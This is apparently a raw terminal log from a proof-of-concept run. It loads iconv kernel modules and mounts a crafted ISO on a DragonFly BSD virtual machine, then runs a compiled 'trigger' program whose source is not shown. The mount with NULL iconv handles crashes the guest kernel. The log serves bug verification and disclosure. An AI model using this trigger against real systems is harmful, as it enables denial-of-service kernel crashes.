(FULL untrimmed output of the decisive run 1 - fresh boot after vm.sh reset with-src)
$ vnconfig -c -S 2048 /dev/vn0 /root/df3124/poc.iso
VNCONFIG_OK
$ kldload libiconv && echo LIBICONV_OK
LIBICONV_OK
$ kldload cd9660_iconv && echo CDICONV_OK
CDICONV_OK
$ kldstat | grep -E "iconv|cd9660"
 4    2 0xffffffff82600000    3f000 libiconv.ko
 5    1 0xffffffff8263f000     f000 cd9660_iconv.ko
$ cd /root/df3124 && cc -O -o trigger trigger.c -I/usr/src/sys && echo BUILD_OK
BUILD_OK

--- baseline (no kiconv) ---
$ mount_cd9660 -v /dev/vn0 /mnt/poc
could not determine starting sector, using very first session
$ ls -la /mnt/poc
total 8
dr-xr-xr-x  1 root wheel  2048 Jan  1  1970 .
dr-xr-xr-x  1 root wheel  2048 Jan  1  1970 ..
$ stat /mnt/poc/a
stat: /mnt/poc/a: stat: No such file or directory
$ umount /mnt/poc
BASELINE_OK

--- trigger (kiconv, empty charsets) ---
$ /root/df3124/trigger
[+] mount succeeded with ISOFSMNT_KICONV and failed iconv_open (im_d2l == im_l2d == NULL)
[+] triggering namei under the mount ...
(ssh session dies here - guest panicked)
$ dfbsd-qemu/vm.sh status
down